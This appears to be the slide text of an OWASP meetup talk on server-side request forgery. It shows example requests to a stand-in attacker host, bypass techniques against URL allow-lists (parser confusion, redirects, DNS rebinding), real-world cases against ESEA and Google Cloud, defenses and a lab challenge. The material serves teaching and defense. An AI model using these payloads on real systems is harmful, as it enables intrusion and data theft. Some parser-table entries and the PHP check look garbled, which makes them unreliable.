SSRF & Breaking down software integrity failures in the wild

📅 27 Feb 2024 | 7:00PM onwards
📍 Zühlke Singapore,
   80 Robinson Road, #22-04, Singapore 068898

Gian-Luca Frei
Expert Security Consultant
Zühlke Asia

Vinoth
Security Consultant
softScheck APAC

See you there!
Server Side Request Forgery

Gian-Luca Frei – OWASP Meetup – 27.02.2024 - Singapore
https://myweird\url.com

---

RFC3986

---

WhatWG
/whoami

- OWASP Application Gateway Project Lead
  - https://github.com/The-OAG-Development-Project/Application-Gateway
- OWASP Switzerland Chapter
- Moved to Singapore 2023
- Trainer for Web Security
- Lead Cybersecurity @ Zühlke APAC

Gian-Luca Frei
https://github.com/gianlucafrei

Email me: gian-luca.frei@owasp.org
SSRF Attack Pattern 1

1) Request
/externalFile&url=https://example.com/img/cats.png

2) Request to example.com

3) Response with public image

4) Response with public image
SSRF Attack Pattern 1

1) Request
/externalFile&url=https://internal-server/secrets

2) Request to internal server

3) Response with secret data

4) Response with secret data
In the wild

E-Sports Entertainment Association

In the wild

https://play.esea.net/global/media_preview.php?url=

- play.esea.net/global/media_preview.php?url=https://mallory.com/1.png [Correct]
- play.esea.net/global/media_preview.php?url=https://mallory.com%00/1.png [Wrong]
SSRF Defense Pattern 1

- Scenario 1:
  - Use a low privileged jump-host
  - Jump-host cannot access the internal service
Python is Hard (Orange Tsai)

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

urllib2
httplib
requests
urllib
<table>
<thead>
<tr>
<th>Library</th>
<th>Scheme</th>
<th>Slash</th>
<th>Backslash</th>
<th>URL-Encoded</th>
</tr>
</thead>
<tbody>
<tr>
<td>Python urllib</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://\foo.com</td>
<td>http://%66%6f%6f\2e\63%6f%6d</td>
<td>http://%66%6f%6f%2e%63%6f%6d</td>
</tr>
<tr>
<td>Python urllib</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://\foo.com</td>
<td>http://%66%6f%6f%2e%63%6f%6d</td>
<td>http://%66%6f%6f%2e%63%6f%6d</td>
</tr>
<tr>
<td>Python urllib</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://\foo.com</td>
<td>http://%66%6f%6f%2e%63%6f%6d</td>
<td>http://%66%6f%6f%2e%63%6f%6d</td>
</tr>
<tr>
<td>Python rfc3986</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://%5e5%6f%6f%e%63%6f%6d</td>
<td>Path:None</td>
</tr>
<tr>
<td>Python httpools</td>
<td>Invalid URL</td>
<td>Invalid URL</td>
<td>Invalid URL</td>
<td>Invalid URL</td>
</tr>
<tr>
<td>Python urllib2</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://%5e5%6f%6f%e%63%6f%6d</td>
<td>Path:None</td>
</tr>
<tr>
<td>Python urllib3</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://%5e5%6f%6f%e%63%6f%6d</td>
<td>Path:None</td>
</tr>
<tr>
<td>curl</td>
<td>http://\000</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>wget</td>
<td><a href="http://foo.com">http://foo.com</a></td>
<td>http://\000</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Browser</th>
<th>Chrome</th>
<th>Behaviour changes based on usage</th>
<th>Host:foo.com</th>
<th>Host:foo.com</th>
<th>Host:foo.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>.NET URI</td>
<td>Invalid URL</td>
<td>Invalid URL</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>Java</td>
<td>Invalid URL</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>Java UIR</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>PHP parse_url</td>
<td>Host:None</td>
<td>Invalid URL</td>
<td>Path:None</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>NodeJS url</td>
<td>Host:None</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>NodeJS url-parse</td>
<td>Host:None</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>Go net/url</td>
<td>Host:None</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>Ruby url</td>
<td>Host:None</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
<tr>
<td>Perl URI</td>
<td>Host:None</td>
<td>Host:None</td>
<td>Path:/foo.com</td>
<td>Path:None</td>
<td>Path:None</td>
</tr>
</tbody>
</table>
SSRF Attack Pattern 2

1) Request
/request{"api": https://serviceA.com/rest/, …}

4) Response

2) Request
Authorization: Bearer mF_9.B5f-4.1JqM

3) Data

serviceA.com
SSRF Attack Pattern 2

1) Request

```
/request {"api": "https://mallory.com/rest/", …}
```

2) Request

```
Authorization: Bearer mF_9.B5f-4.1jgM
```

mallory.com

serviceA.com
In the wild

Google Cloud: Demo

Cloud Talent Solution in action

Job Search Demo

Automatic spelling correction

bartendar

Cloud Talent Solution job search automatically identifies and fixes spelling errors, even when search terms are industry jargon, job titles, or acronyms, ensuring that all relevant jobs are returned.

Standard keyword search | 1 matching job
--- | ---
Bartendar - Seattle | Bartender
Seattle, WA, USA

Job search demo | 3716 matching jobs

https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/
In the wild

Demo traffic is proxied

POST /proxy?url=https%3A%2F%2Fjobs.googleapis.com%2Fv4%2Fprojects%2F4800913407%2Ftenants%2F%0A+++++ff8c4578-8000-0000-0000-0001ea231ff%2Fjobs%3Asearch HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close

{"jobQuery":{"query":"bartender","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}
In the wild

Whitelist?

GET /proxy?url=https://mallory.com/ HTTP/1.1
Host: cxl-services.appspot.com

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
X-Cloud-Trace-Context: 474fe673523b481dd42efce7743093f9
Date: Wed, 29 Dec 2021 08:50:36 GMT
Server: Google Frontend
Content-Length: 46

Invalid Target Host - Please add to allow list
https://sfmnev.vps.xdavidhu.me/  - ✗
https://xdavid.googleapis.com/ - ✗
https://jobs.googleapis.com/ - ✓
https://jobs.googleapis.com/any/path - ✓
http://jobs.googleapis.com/any/path - ✓
https://jobs.googleapis.com:443/any/path - ✓
https://jobs.googleapis.comx:443/any/path - ✗
https://texttospeech.googleapis.com/xdavid - ✓
Defense Pattern 2

```php
$url_components = @parse_url($url);
if(!
    (!$url_components ||
    empty($url_components['host'])) ||
    (!empty($url_components['scheme']) && in_array($url_components['scheme'], array('http', 'https')) ||
    (!empty($url_components['port']) && in_array($url_components['port'], array(80, 8080, 443))))
) { return false; }

$addresses = gethostbyname($url_components['host']);
if($addresses) {
    // check addresses not in disallowed_remote_addresses
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
```
Validation Bypass Techniques

- HTTP Redirection
  - 301 Redirection

- Exploit URL Parsing
  - Naïve URL parser
  - Parser Difference
  - IPv4/IPv6 formats

- DNS:
  - Record with Private IP (attacker.com -> 127.0.0.1)
  - Schizophrenic DNS Response (Time of check vs. time of use)
Defense Pattern 3

What’s the solution?

- Don’t Accept URL from User
  - Attention when concatenating the URL!
    - Use proper URL Library
    - Restrict Input Characters
Defense In-Depth

- Network Layer
- AWS EC2 Instance Metadata Service (IMDSv2)
Challenge

https://lab-01.donttrustmyinput.com/

Secret Password List

There is a very interesting file at `/ftp/password-list.png` but apparently only localhost can access it. Can you still get the file?

- ? Hint 1
- ? Hint 2
- ? Hint 3

https://github.com/Zuehlke/WebSecurityWorkshop/blob/master/exercises.md#secret-password-list

➡️ Try out on https://lab-01.donttrustmyinput.com/ or run locally with docker.io/gianlucafrei/juice-shop-workshop
Recommended Articles

- RFC 3986 vs WHATWG URL: https://github.com/bagder/docs/blob/master/URL-interop.md
- URL Parsing Confusion: https://claroty.com/team82/research/exploiting-url-parsing-confusion
- SSRF Bible: https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf
- OWASP Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html